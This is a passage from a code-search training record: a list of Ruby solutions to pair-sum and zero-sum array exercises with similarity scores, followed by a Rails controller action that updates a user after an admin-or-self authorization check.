|ele2, i2|\n if i1 < i2\n pairs << [ele1, ele2]\n end\n end\n end\n pairs.count { |ele| ele.sum == num }\n end", "def opposite_count(nums)\n count = 0\n\n nums.each_with_index do |num1, idx1|\n nums.each_with_index do |num2, idx2|\n\n if num1 + num2 == 0 && idx2 > idx1\n count += 1\n end\n end\n end\n return count\n\nend", "def opposite_count(nums)\n count = 0\n\n nums.each do |num1|\n nums.each do |num2|\n\n if num1 + num2 == 0\n count += 1\n end\n end\n end\n return count\n\nend", "def two_sum(array)\n pairs = []\n\n array.count.times do |i1|\n (i1 + 1).upto(array.count - 1) do |i2|\n pairs << [i1, i2] if array[i1] + array[i2] == 0\n end\n end\n\n pairs\nend", "def checkArray(a)\n\tn = a.length-1\n\tcount = 0\n\tfor i in 0..n do\n\t\tfor j in (i+1)..n do\n\t\t\tfor k in (j+1)..n do\n\t\t\t\tif (a[i] + a[j] + a[k] == 0)\n\t\t\t\t\tcount += 1\n\t\t\t\t\treturn count;\n\t\t\t\telse\n\t\t\t\t\treturn count;\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend\nend", "def opposite_count(nums)\n count = 0\n \n nums.each_with_index do |num1, idx1|\n nums.each_with_index do |num2, idx2|\n if num1 + num2 == 0 && idx2 > idx1\n count += 1\n end\n end\n end\n \n return count\n end", "def opposite_count(nums)\n count = 0\n nums.each.with_index do |num1, index1|\n nums.each_with_index do |num2, index2|\n if index1 < index2 && num1 + num2 == 0\n count += 1\n end\n end\n end\n\n count\nend", "def opposite_count(nums)\n\tcount = 0\n nums.each do |i|\n nums.each do |j|\n if (j > i && i + j == 0)\n count += 1\n end\n end\n end\n return count\nend", "def find_pairs(nums, k)\n return 0 if k < 0\n hash = {}\n count = 0\n nums.each do |num|\n if hash[num]\n if k == 0 && hash[num] == 1\n count += 1\n end\n hash[num] += 1\n else\n if hash[num - k]\n count += 1\n end\n if hash[num + k]\n count += 1\n end\n hash[num] = 1\n end\n end\n count\nend", "def opposite_count(nums)\n\n new = 0\n\n nums.each_with_index do |num1, idx1|\n nums.each_with_index do |num2, idx2|\n\n if idx1 < idx2 && num1 + num2 == 0 \n new += 1\n end \n\n end\n end \n return new\n\nend", "def opposite_count(nums)\n count = 0\n nums.each.with_index do | num1, i1 |\n nums.each.with_index do | num2, i2 |\n if (num1 + num2) == 0 && i2 > i1\n count += 1\n end\n end\n end\n return count\nend", "def opposite_count(nums)\n counter = 0\n nums.each_with_index do |e1, i1|\n nums.each_with_index do |e2, i2|\n if i2 > i1\n counter += 1 if e1 + e2 === 0\n end\n end\n end\n \n counter\nend", "def opposite_count(nums)\n\n new = 0\n\n nums.each_with_index do |num1, idx1|\n nums.each_with_index do |num2, idx2|\n\n if idx1 < idx2\n if num1 + num2 == 0 \n new += 1\n end \n end \n\n end \n end \n return new\n\nend", "def count\n if pair?\n if @value2.pair?\n countsofar = @value2.count\n 1 + countsofar\n elsif @value2.nil?\n 1\n else\n 2\n end\n elsif nil?\n 0\n else\n 1\n end\n end", "def opposite_count(nums)\n\tcounter = 0\n\ttemp = []\n \n\tnums.each_with_index do |ele1, idx1|\n\t\tnums.each_with_index do |ele2, idx2|\n\t\t\t# Making sure that the second index is alway looking at something new. Prevents duplicate\n\t\t\tif idx2 > idx1\n \tif ele1 + ele2 == 0 \t\n \ttemp << [ele1 , ele2] \t\n \tputs\n \n\t\t\t\t\tcounter += 1\n\t\t\t\tend \t\n end\n\t\tend\n\tend\n\tprint temp\n\treturn counter\nend", "def strange_sums(array)\n count = 0\n (0...array.length).each do |i|\n (i + 1...array.length).each do |j|\n count += 1 if array[i] + array[j] == 0\n end\n end\n\n count\nend", "def two_sum\n output = []\n \n i = 0\n while i < self.length - 1\n j = i + 1\n while j < self.length\n output << [i, j] if self[i] + self[j] == 0\n j += 1 \n end\n i += 1\n end\n\n output.empty? ? nil : output\n end", "def strange_sums(arr)\n count = 0\n\n (0...arr.length).each do |idx_1|\n (idx_1+1...arr.length).each do |idx_2|\n count += 1 if (arr[idx_1] + arr[idx_2]) == 0\n end\n end\n count\nend", "def num_potential_pairs\n potential_pairs.size\n end", "def pairs(array)\n result = 0\n \n array.uniq.each do |num|\n appearences = array.count(num)\n result += (appearences / 2) \n end\n result\nend", "def strange_sums(nums)\n zero_sum_count = 0\n (0...nums.length).each do |out_idx|\n (out_idx...nums.length).each do |inner_idx|\n if (nums[out_idx] + nums[inner_idx]).zero?\n zero_sum_count += 1\n end\n end\n end\n zero_sum_count\nend", "def number_of_zeros\r\n total_zeros = 0\r\n @seminarians.each do |sem|\r\n zeros = sem.number_of_zeros\r\n total_zeros += zeros\r\n end\r\n\r\n #Divide by 2 to correct the fact that each was counted twice\r\n return total_zeros/2\r\n end", "def zero_sum_sub_arrays(xs)\n return 0 if xs.size < 2\n\n (2..xs.size)\n .flat_map { |n| xs.each_cons(n).to_a }\n .select { |xs| xs.sum == 0 }\n .size\nend", "def span_count ary\n ([0] + ary).lazy\n .each_cons(2)\n .count{|c,n| c == 0 && n != 0 }\nend", "def two_sum\n i = 0\n return_array = []\n (i...self.count - 1).each do |index_one|\n (i + 1...self.count).each do |index_two|\n el_one = self[index_one]\n el_two = self[index_two]\n if el_one != 0 && el_two != 0\n return_array << [index_one, index_two] if el_one + el_two == 0\n end\n end\n end\n return_array\n end", "def two_sum(array)\n pairs = []\n array.each_with_index do |num1, idx1|\n array.each_with_index do |num2, idx2|\n pairs << [idx1, idx2] if idx2 > idx1 && num1 + num2 == 0\n end\n end\n pairs\nend", "def solution0(a)\n\n total_count = 0\n elem_counts = Hash.new(0)\n\n a.each do |elem|\n elem_counts[elem] += 1\n total_count += 1 if elem_counts[elem] == 2\n end\n\n return total_count\n\nend", "def divisibleSumPairs(n, k, ar)\n count = 0\n ar.each_with_index do |outer, i|\n ar.each_with_index do |inner, j|\n if i != j\n count += 1 if ((outer + inner) % k == 0 and i > j)\n end\n end\n end\n count\nend", "def divisibleSumPairs(n, k, ar)\n # Complete this function\n count = 0;\n (0...n-1).each do |i|\n (i+1...n).each do |j|\n count += 1 if (ar[i] + ar[j]) % k == 0\n end\n end\n\n count;\nend", "def zero_sum_pairs(count=50)\n\tinput = gen_rand_array_of_integers(count)\n\tpairs, orphans = [], {}\n\t(0...input.length).each do |i|\n\t\tif orphans[-input[i]].nil?\n\t\t\torphans[input[i]] = true\n\t\telse\n\t\t\tpairs << [input[i],-input[i]]\n\t\tend\n\tend\n\tputs pairs\n\tpairs.length\nend", "def opposite_count(nums)\n count = 0\n nums.each_with_index do |num1, indx1|\n nums.each_with_index do |num2, indx2|\n result = num1 + num2\n count += 1 if indx2 > indx1 && result == 0\n end\n end\n count\nend", "def two_sum_brute nums\n (0...nums.length).each do |i|\n ((i + 1)...nums.length).each do |j|\n if nums[i] + nums[j] == 0\n return i, j\n end\n end\n end\n nil\nend", "def divisibleSumPairs(n, k, ar)\n ar.combination(2).count { |a, b| (a + b) % k == 0 }\nend", "def two_sum(nums)\n\titer = 0\n\tsum = 0\n\twhile iter < nums.length\n\t\titer2 = iter + 1\n\t\twhile iter2 <nums.length\n\t\t\tif nums[iter] + nums[iter2] == 0\n\t\t\t\treturn [iter, iter2]\n\t\t\tend\n\t\t\titer2+=1\n\t\tend\n\t\titer+=1\n\tend\n\n\treturn nil\nend", "def triplet_sum_zero(arr)\n arr.combination(3).select { |subarr| subarr.reduce(:+) == 0 }\nend", "def two_sums(nums)\n output = []\n idx = 0\n idx2 = idx + 1\n\n while idx < nums.length\n idx2 = idx + 1\n while idx2 < nums.length\n output += [idx, idx2] if nums[idx] + nums[idx2] == 0\n idx2 += 1\n end\n idx += 1\n end\n\n output.empty? ? nil : output\nend", "def two_sum_to_zero?(arr)\n arr.each_with_index do |n1, idx1|\n arr.each_with_index do |n2, idx2|\n next if idx1 == idx2\n return true if (n1 + n2).zero?\n end\n end\n false\nend", "def count_positive_subarrays(arr) \n return arr.count{|ele| ele.sum > 0}\nend", "def count_positive_sum_negative(arr)\n positives, negatives = arr.partition(&:positive?)\n [positives.length, negatives.inject(0,&:+)]\nend", "def count_positive_subarrays(two_arr)\n # two_arr.count { |sub_arr| sub_arr.sum > 0 } \n two_arr.count { |sub_arr| sub_arr.sum.positive? }\nend", "def divisible_sum_pairs n, k, ar\n pairs = 0\n n.times do |i|\n ((i + 1)...n).each do |j|\n pairs += 1 if ((ar[i] + ar[j]) % k).zero?\n end\n end\n pairs\nend", "def strange_sums(num_array)\n return 0 if num_array.length < 1\n\n count = 0\n num_array.each_with_index do |num,i|\n (i+1...num_array.length).each do |k|\n if (num + num_array[k]) == 0\n count += 1 \n end\n end\n end\n count\nend", "def divisible_sum_pairs(n,k,a)\n count = 0\n i = 0\n\n while (i < n)\n j = i + 1\n\n while (j < n)\n if ((a[i] + a[j]) % k == 0)\n count += 1\n end\n j+=1\n end\n\n i += 1\n end\n count\nend", "def sum_pairs(numbers, sum)\n # Numbers witch we select as checked that we have in array.\n # Selected number is the index of array. So if we want to select\n # number 4 as chekced we do it so with putting checked[4] = 1 and so on.\n checked = []\n # Iterate over each number\n numbers.each do |n|\n # check what is the difference between searching sum and current number\n temp = sum - n\n # ... and if we already checked such number (checked[temp] == 1)\n # and it is grater or equal 0 (because we are looking for sum )\n # then there is our pair of numbers ([temp, n])\n return [temp, n] if (temp >= 0) && (checked[temp] == 1)\n checked[n] = 1\n end\n nil\nend", "def sockMerchant(_n, ar)\n pairs = 0\n unique = ar.uniq\n\n unique.each do |num|\n count = ar.count(num)\n if count.even?\n pairs += (count / 2)\n elsif (count - 1).even?\n pairs += (count - 1) / 2\n end\n end\n pairs\nend", "def two_sum_to_zero?(array)\n array.each_with_index do |element, index|\n array.each_with_index do |element2, index2|\n if element + element2 == 0 and index != index2\n return true\n end\n end\n end\n return false\nend", "def count_adjacent_sums(array, n)\n\nend", "def count_signs\n # suskaiciuojami visi zenklai\n temp = 0\n @signs.size.times do |i|\n temp += 1 if @signs[i] != 0\n end\n temp\n end", "def pair_sum?(arr, target)\n freq_table = Hash.new(0)\n arr.each do |num|\n return true if freq_table[target - num] > 0\n freq_table[num] += 1\n end\n false\nend", "def number_of_pairs(gloves)\n gloves.group_by { |glov| glov }.values.map { |group| group.count / 2 }.sum\nend", "def sum_positive_count_negative(arr)\n positives, negatives = arr.partition(&:positive?)\n [positives.inject(0,&:+), negatives.length]\nend", "def plusMinus(arr)\n positive = arr.count{|x| x > 0}\n negative = arr.count{|x| x < 0}\n zero = arr.count{|x| x == 0}\n size = arr.size\n puts positive.to_f/size\n puts negative.to_f/size\n puts zero.to_f/size\nend", "def divisibleSumPairs(n, k, ar) \n count = 0\n \n for a in 0..(n-2) do\n for j in (a+1)..(n-1) do\n count += 1 if ((ar[a] + ar[j]) % k == 0)\n end\n end\n count\nend", "def countPairs(arr, k)\n counter = 0\n new_arr = (arr.uniq).sort\n new_arr.each_with_index do |num, i|\n if new_arr[i + 1]\n if (num - new_arr[i + 1]).abs == k\n counter += 1\n end\n end\n end\n counter\n end", "def two_sum_zero(array)\n \n i = 0\n while i < array.length - 1\n \n j = i + 1\n while j < array.length\n if array[i] + array[j] == 0\n return true\n end\n \n j += 1\n end\n \n i += 1\n end\n return false\nend", "def two_sum(nums)\n idx1 = 0\n \n while idx1 < nums.length\n idx2 = idx1 + 1\n \n while idx2 < nums.length\n if nums[idx1] + nums[idx2] == 0\n return [idx1, idx2]\n end\n \n idx2 += 1\n end\n \n idx1 += 1\n end\n \n return nil\n end", "def divisibleSumPairs(n, k, ar)\n combinations = ar.combination(2).to_a.count{ |pair| pair.reduce(:+) % k == 0 }\nend", "def two_sum(nums)\n idx1 = 0\n while idx1 < nums.length\n idx2 = idx1 + 1\n while idx2 < nums.length\n if nums[idx1] + nums[idx2] == 0\n return [idx1, idx2]\n end\n\n idx2 += 1\n end\n\n idx1 += 1\n end\n\n return nil\nend", "def two_sum(nums)\n idx1 = 0\n while idx1 < nums.length\n idx2 = idx1 + 1\n while idx2 < nums.length\n if nums[idx1] + nums[idx2] == 0\n return [idx1, idx2]\n end\n\n idx2 += 1\n end\n\n idx1 += 1\n end\n\n return nil\nend", "def two_sum(nums)\n idx1 = 0\n while idx1 < nums.length\n idx2 = idx1 + 1\n while idx2 < nums.length\n if nums[idx1] + nums[idx2] == 0\n return [idx1, idx2]\n end\n\n idx2 += 1\n end\n\n idx1 += 1\n end\n\n return nil\nend", "def count_positive_sum_negative(arr)\n sum = 0\n neg_count = 0\n arr.each do |num|\n if num >= 0\n neg_count += 1\n else\n sum += num\n end\n end\n\n return [neg_count, sum]\nend", "def pair_sum_naive(array, sum)\n pairs = []\n\n i = 0\n\n while i < array.length\n j = i + 1\n while j < array.length\n print \"#{array[i]}, #{array[j]}\\n\"\n if array[i] + array[j] == sum\n pairs << [array[i], array[j]]\n end\n j += 1\n end\n\n i += 1\n end\n pairs\nend", "def array_pair_sums numbers\n numbers.sort[0..numbers.size-1].reduce &:+\nend", "def two_sum_to_zero?(array)\n # len = array.length - 1\n # len.times do |i|\n # (i + 1).upto(len) do |j|\n # return true if array[i] + array[j] == 0\n # end\n # end\n # false\n nums_hash = {}\n array.each do |el|\n return true if nums_hash[-(el)]\n nums_hash[el] = true\n end\n false\nend", "def solution(a)\n result = 0\n tmp_count = 0\n a.each_with_index do |val, idx|\n if val.zero?\n tmp_count += 1\n else\n result += tmp_count\n end\n end\n return result > 1000000000 ? -1 : result\nend", "def total_even_pairs(src)\n total = 0\n row_index = 0\n while row_index < src.count do\n if src[row_index][0] % 2 == 0 && src[row_index][1] % 2 == 0\n total += src[row_index][0] + src[row_index][1]\n end\n row_index += 1\n end\n total\nend", "def zero_count(numbers)\n result = 0\n index = 0\n while index < numbers.length\n if numbers[index] == 0\n result += 1\n end\n index += 1\n end\n result\nend", "def plus_minus arr\n p arr.select { |el| el > 0 }.size / arr.size.to_f\n p arr.select { |el| el < 0 }.size / arr.size.to_f\n p arr.select { |el| el == 0 }.size / arr.size.to_f\n end", "def good_tuples(nums)\n count = 0\n (0..nums.size - 3).each do |i|\n first, second, third = nums[i], nums[i + 1], nums[i + 2]\n next if 3 * first == first + second + third\n count += 1 if [first, second, third].include?(first ^ second ^ third)\n\n # next if nums[i] == nums[i + 1] && nums[i + 1] == nums[i + 2]\n # next if nums[i] != nums[i + 1] && nums[i + 1] != nums[i + 2] && nums[i] != nums[i + 2]\n end\n\n count\nend", "def two_sum(nums)\n\t\n\tfirst_num_index = 0\n\tsecond_num_index = 0\n\t\n\twhile first_num_index < nums.length\n\t\tsecond_num_index = first_num_index + 1\n\t\twhile second_num_index < nums.length\n\t\t\t\n\t\t\tif(nums[first_num_index] + nums[second_num_index] == 0)\n\t\t\t\treturn [first_num_index, second_num_index]\n\t\t\telse\n\t\t\t\tsecond_num_index += 1\n\t\t\tend\n\t\tend\n\t\tfirst_num_index += 1\n\tend\n\n\tnil\n\nend", "def solution1(a)\n a.map(&:abs).uniq.size\nend", "def two_sum(arr)\n output = []\n (0...arr.length).each do |idx1|\n (idx1+1...arr.length).each do |idx2|\n output << [idx1, idx2] if arr[idx1] + arr[idx2] == 0\n end\n end\n output\nend", "def sum_pairs(arr, tot)\n\tarr.product(arr).select! {|i| i[0] + i[1] == tot}\nend", "def sum_pairs(ints, s)\n ints.length.times do |iter|\n ints.map.with_index do |item, index|\n unless ints[index + iter + 1].nil?\n return [item, ints[index + iter + 1]] if (item + ints[index + iter + 1]) == s\n end\n end\n end\n nil\nend", "def two_sum(arr) #o(ns)\n set = Set.new\n arr.each{|el| set << el}\n arr.select{|el| set.include?(-1 * el)}\nend", "def numberOfPairs(a,k)\n count = 0\n find_arr(a,k).each do |pair|\n if uniq(pair,k)\n count += 1\n end\n end\n return count\nend", "def count_adjacent_sums(array, n)\n count = 0\n array.each_with_index do |i, idx |\n # if array[idx] + array[idx + 1] == n\n # count++\n # end\n count += 1 if array[idx] + array[idx + 1] == n\n end\n count\nend", "def strange_sums(arr)\n hash = Hash.new(0)\n arr.map do |ele|\n hash[ele.abs] += 1\n end\n \n hash.count do |h,v|\n v == 2\n end\nend", "def three_sum(arr)\n count = 0\n\n # loop through each array\n (0..arr.length - 1).each { |i|\n (i + 1..arr.length - 1).each { |j|\n (j + 1..arr.length - 1).each { |k|\n # check if the three elements sum to 0\n if (arr[i] + arr[j] + arr[k] == 0)\n count += 1\n end\n }\n }\n }\n count\nend", "def two_sum(nums)\n output = []\n nums.size.times do |idx|\n 1.upto(nums.size - (idx + 1)) do |plus_idx|\n if nums[idx] + nums[idx + plus_idx] == 0\n output += [idx, idx + plus_idx]\n end\n end\n end\n output.empty? ? nil : output\nend", "def count_positive_subarrays(arr2d)\n arr2d.count { |el| el.sum > 0 }\nend", "def sum_pairs(ints, s)\n ints.each_with_index do |x, i|\n (0...i).each do |n|\n # next if ints.first(i).include? ints[n]\n return [ints[n], x] if [ints[n], x].reduce(:+) == s\n end\n end\n nil\nend", "def solution(a)\n counter = Hash.new(0)\n a.each do |elem|\n counter[elem] += 1\n end\n\n (1..a.size).each do |number|\n return 0 if counter[number] != 1\n end\n\n 1\nend", "def sum_pairs(ints, s)\r\n pair = [ints.length, ints.length]\r\n ints.length.times do |i|\r\n break if i == pair[1]\r\n ((i + 1)...pair[1]).each do |j|\r\n if ints[i] + ints[j] == s\r\n pair = [i, j]\r\n break\r\n end\r\n end\r\n end\r\n\r\n if !(pair[0] == pair[1])\r\n [ints[pair[0]], ints[pair[1]]]\r\n else\r\n nil\r\n end\r\nend", "def two_sum(nums)\n nums.each_with_index do |x, ix|\n nums.each_with_index do |y, iy|\n if ix != iy\n if x + y == 0\n return [ix, iy]\n end\n end\n end\n end\n nil\nend", "def sum_positive_count_negative(arr)\n sum = 0\n neg_count = 0\n arr.each do |num|\n if num >= 0\n sum += num \n else\n neg_count += 1\n end\n end\n\n return [sum, neg_count]\nend" ]
[ "0.80429035", "0.777874", "0.75099903", "0.7424152", "0.73820204", "0.7309957", "0.7276644", "0.72716993", "0.7233506", "0.72101665", "0.7209892", "0.719596", "0.71955144", "0.7182001", "0.71734196", "0.7156854", "0.7144943", "0.70880026", "0.7020093", "0.7007946", "0.69607174", "0.69451064", "0.6938222", "0.69302785", "0.69235265", "0.69230855", "0.6916179", "0.6899072", "0.6885595", "0.6843926", "0.68415505", "0.68362045", "0.681526", "0.6797839", "0.6763755", "0.67493117", "0.6731734", "0.67247283", "0.66981876", "0.6695062", "0.6678087", "0.66154957", "0.66097254", "0.66022944", "0.65916353", "0.65757173", "0.65579325", "0.65300053", "0.6523876", "0.65192664", "0.651566", "0.6509483", "0.6504606", "0.649752", "0.64965063", "0.6490203", "0.6487887", "0.6482803", "0.6457805", "0.6451665", "0.6441761", "0.64391756", "0.64324796", "0.6428529", "0.6416574", "0.64075273", "0.6391561", "0.6381607", "0.6366278", "0.6354611", "0.63509995", "0.6349689", "0.6349689", "0.6349689", "0.6345804", "0.6340696", "0.63399655", "0.6331762", "0.63288355", "0.6316153", "0.63151485", "0.6311852", "0.6311388", "0.6307481", "0.6306613", "0.630443", "0.62979555", "0.6295944", "0.6288441", "0.6283513", "0.6260284", "0.6258382", "0.62528867", "0.624722", "0.62431896", "0.6242019", "0.62372524", "0.62370986", "0.6214964", "0.6210709" ]
0.78253675
1
GET /users GET /users.json
def index if params.has_key?(:email) @user = User.where("email = ?", params[:email]).first render json: @user.to_json else head :no_content end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def users(args = {})\n get(\"/users.json\",args)\n end", "def show\n begin\n user = User.find(params[:user_id])\n render json: { users: user }, status: :ok\n rescue => e\n render json: { errors: e.message}, status: 404\n end\n end", "def GetUsers params = {}\n\n params = params.merge(path: 'users.json')\n APICall(params)\n\n end", "def index\n if params[:single]\n\t url = \"#{API_BASE_URL}/users/#{params[:id]}.json\"\n\t response = RestClient.get(url)\n\t @user = JSON.parse(response.body)\n\telse\n\t url = \"#{API_BASE_URL}/users.json\"\t \n response = RestClient.get(url)\n @users = JSON.parse(response.body)\t\t \n\tend\n end", "def list_users\n self.class.get('/users')\n end", "def users\n get('get_users')\n end", "def index\n users = User.all\n json_response(users)\n end", "def show\n @users = User.all\n json_response(@users)\n end", "def list\r\n users = User.all\r\n render json: users\r\n end", "def show\n @users = User.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @users }\n end\n end", "def get \n render :json => User.find(params[:id])\n end", "def index\n @users = User.all\n\n render json: @users\n end", "def index\n users = User.all\n render json: { users: users }, status: :ok\n end", "def index\r\n users = User.all\r\n render json: users\r\n end", "def users(params = {})\n params.merge!(key: 'users')\n objects_from_response(Code42::User, :get, 'user', params)\n end", "def index\n users = User.all\n render json: users\n end", "def index\n users = User.all\n render json: users\n end", "def index\n users = User.all\n render json: users\n end", "def index\n users = User.all\n render json: users\n end", "def users(params = {})\n make_get_request('/account/users', params)\n end", "def index\n users = User.all\n render json: users \n end", "def index\n users = User.all\n\n render json: users, each_serializer: Api::V1::UsersSerializer\n end", "def index\n user= User.all\n render json: {users:user}\n end", "def index\n @users = User.all\n render json: @users, status: :ok\n end", "def index\n @users = User.all\n render json: @users\n end", "def index\n @users = User.all\n render json: @users\n end", "def index\n @users = User.all\n render json: @users\n end", "def index\n @users = User.all\n render json: @users\n end", "def index\n @users = User.all\n render json: @users\n end", "def index\n @users = User.all\n render json: @users\n end", "def index\n @users = User.all\n render json: @users\n end", "def index\n @users = User.all\n render json: @users\n end", "def index\n @users = User.all\n render json: @users\n end", "def index\n @users = User.all\n render json: @users\n end", "def index\n json_response(User.all) \n end", "def index\n @users = User.all\n\n render json: @users\n end", "def index\n @users = User.all\n\n render json: @users\n end", "def index\n @users = User.all\n\n render json: @users\n end", "def index\n @users = User.all\n\n render json: @users\n end", "def index\n @users = User.all\n\n render json: @users\n end", "def index\n @users = User.all\n\n render json: @users\n end", "def user_info\n @user = @github.users.get user: params[:username]\n render json: Hash[@user]\n end", "def index\n users = User.all \n render json: users \n end", "def index\n\t\t# specifying json format in the URl\n\t uri = \"#{API_BASE_URL}/users.json\"\n\t # It will create new rest-client resource so that we can call different methods of it\n\t rest_resource = RestClient::Resource.new(uri, USERNAME, PASSWORD)\n\n\t # this next line will give you back all the details in json format, \n\t #but it will be wrapped as a string, so we will parse it in the next step.\n\t users = rest_resource.get \n\n\t # we will convert the return data into an array of hash. see json data parsing here\n\t @users = JSON.parse(users, :symbolize_names => true)\n\tend", "def index\n\t\t@users = User.all\n\n\t\trespond_to do |format|\n\t\t\tformat.html\n\t\t\tformat.json { render json: @users.map(&:as_json) }\n\t\tend\n\tend", "def list\n render json: User.all\n end", "def index\n @users = User.all\n render json: @users, status: :ok\n end", "def user\n render :json=> User.find(params[:id])\n end", "def index\n\n users = User.all \n render json: users\n\n end", "def show\n render json: Users.find(params[\"id\"])\n end", "def GetUser id\n\n APICall(path: \"users/#{id}.json\")\n\n end", "def index\n @users = User.all\n\n respond_to do |format|\n format.html\n format.json { render json: @users }\n end\n end", "def show\n @users = User.find(params[:id])\n if @users\n respond_to do |format|\n format.json { render :json => @users }\n format.xml { render :xml => @users }\n end\n else\n head :not_found\n end\n end", "def index\n \t@users = User.all\n\n respond_to do |format| \n format.json { render json: @users }\n end\n end", "def list\n get('users')['users']\n end", "def index\n render ActiveModelSerializers::SerializableResource.new(@users,\n each_serializer: UserSerializer\n ).to_json, status: 200\n end", "def index\n @users = User.all \n render json: @users, status: :ok \n end", "def index\n @users = User.all\n logger.debug(\"user index\")\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @users }\n end\n end", "def index\n render json: User.all\n end", "def index\n @users = User.order_by(last_name: :desc)\n if @users\n render json: Oj.dump(json_for(@users, include: ['phones', 'cards'], meta: meta), mode: :compat)\n else\n return head :unauthorized\n end\n end", "def users(params = {})\n response = get('users/lookup.json', params)\n response.map {|user| Croudia::Object::User.new(user) }\n end", "def index\n render json: User.all\n end", "def index\n render json: User.all\n end", "def show\n user = User.find(params[:id])\n render json: @user\nend", "def list_users(user_id)\n self.class.get(\"/users/#{user_id}\")\n end", "def show\n user = User.find(params[:id])\n render json: user\n end", "def index\n\t\t@users = User.all\n\n\t\trespond_to do |format|\n\t\t format.html # index.html.erb\n\t\t format.json { render json: @users }\n\t\tend\n\tend", "def index\n @users = User.all(limit: 100)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @users.as_json(user: current_user) }\n end\n end", "def get_users\r\n # Prepare query url.\r\n _path_url = '/users'\r\n _query_builder = Configuration.get_base_uri\r\n _query_builder << _path_url\r\n _query_url = APIHelper.clean_url _query_builder\r\n # Prepare headers.\r\n _headers = {\r\n 'accept' => 'application/json'\r\n }\r\n # Prepare and execute HttpRequest.\r\n _request = @http_client.get(\r\n _query_url,\r\n headers: _headers\r\n )\r\n CustomHeaderAuth.apply(_request)\r\n _context = execute_request(_request)\r\n validate_response(_context)\r\n # Return appropriate response type.\r\n decoded = APIHelper.json_deserialize(_context.response.raw_body)\r\n decoded.map { |element| User.from_hash(element) }\r\n end", "def show\n # When a http GET request to '/users/1' is received, have it show,\n # in json format, user 1's information.\n @id = params[:id]\n @user = User.find(@id)\n render json: @user\n end", "def show\n user = User.find(params[:id])\n\n render json: user\n end", "def index \n render json: User.all\n end", "def index\n @myusers = Myuser.all\n\n render json: @myusers\n end", "def index\n\n @users = User.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @users }\n end\n end", "def index\n\n @users = User.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @users }\n end\n end", "def query_users(options={}) path = \"/api/v2/users\"\n get(path, options, AvaTax::VERSION) end", "def list\n response = @client.get(\"/users\")\n response[\"users\"].map {|u| User.new(@client, u) }\n end", "def users\n\t\trespond_with User.all\n\tend", "def index\n @users = User.all\n\n respond_with do |format|\n format.json do\n render json: @users,\n each_serializer: Api::UserSerializer,\n root: 'users'\n end\n end\n end", "def show\n @user = User.find(params[:id])\n render json: @user\n end", "def show\n @user = User.find(params[:id])\n render json: @user\n end", "def show\n @user = User.find(params[:id])\n render json: @user\n end", "def show\n @user = User.find(params[:id])\n render json: @user\n end", "def show\n @user = User.find(params[:id])\n render json: @user\n end", "def show\n @user = User.find(params[:id])\n render json: @user\n end", "def show\n @user = User.find(params[:id])\n render json: @user\n end", "def index\n @users = User.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @users }\n end\n end", "def index\n @users = User.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @users }\n end\n end", "def index\n @users = User.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @users }\n end\n end", "def index\n @users = User.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @users }\n end\n end", "def index\n @users = User.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @users }\n end\n end", "def index\n @users = User.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @users }\n end\n end", "def index\n @users = User.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @users }\n end\n end", "def index\n @users = User.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @users }\n end\n end", "def index\n @users = User.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @users }\n end\n end", "def index\n @users = User.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @users }\n end\n end", "def index\n @users = User.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @users }\n end\n end", "def index\n @users = User.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @users }\n end\n end", "def index\n @users = User.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @users }\n end\n end", "def index\n @users = User.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @users }\n end\n end", "def index\n @users = User.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @users }\n end\n end" ]
[ "0.82109934", "0.7873764", "0.7860689", "0.78108346", "0.78067017", "0.7678852", "0.76586664", "0.76318866", "0.7582366", "0.75291824", "0.7487637", "0.74485743", "0.7439024", "0.7437192", "0.7427442", "0.73978853", "0.73978853", "0.73978853", "0.73978853", "0.7377353", "0.7372414", "0.736885", "0.7368531", "0.7367068", "0.7358582", "0.7358582", "0.7358582", "0.7358582", "0.7358582", "0.7358582", "0.7358582", "0.7358582", "0.7358582", "0.7358582", "0.7351495", "0.7350187", "0.7350187", "0.7350187", "0.7350187", "0.7350187", "0.7350187", "0.73463756", "0.73426867", "0.7331111", "0.73231107", "0.73227614", "0.73126787", "0.7295692", "0.7274169", "0.7265484", "0.72624177", "0.72607577", "0.722517", "0.72189873", "0.71941674", "0.71883225", "0.7187108", "0.71815044", "0.717089", "0.71695215", "0.7156781", "0.71546155", "0.71546155", "0.7140691", "0.7135879", "0.7134857", "0.71316093", "0.71315825", "0.712011", "0.7114429", "0.7112858", "0.7107888", "0.7098051", "0.70957917", "0.70957917", "0.7093039", "0.70904744", "0.70890427", "0.70889443", "0.7085115", "0.7085115", "0.7085115", "0.7085115", "0.7085115", "0.7085115", "0.7085115", "0.7081685", "0.7081685", "0.7081685", "0.7081685", "0.7081685", "0.7081685", "0.7081685", "0.7081685", "0.7081685", "0.7081685", "0.7081685", "0.7081685", "0.7081685", "0.7081685", "0.7081685" ]
0.0
-1
PUT /users/1 PUT /users/1.json
def update get_current_user @user = User.find(params[:id]) return (render json: {errors: ["Je bent niet geauthoriseerd om dit te doen"]}, status: :unprocessable_entity) unless (@current_user.isAdmin || @current_user.id == @user.id) respond_to do |format| if @user.update_attributes(params[:user]) new_remember_token(@user) if @current_user.isStudent format.json { head :no_content } else format.json { render json: {errors: @user.errors.full_messages}, status: :unprocessable_entity } end end end
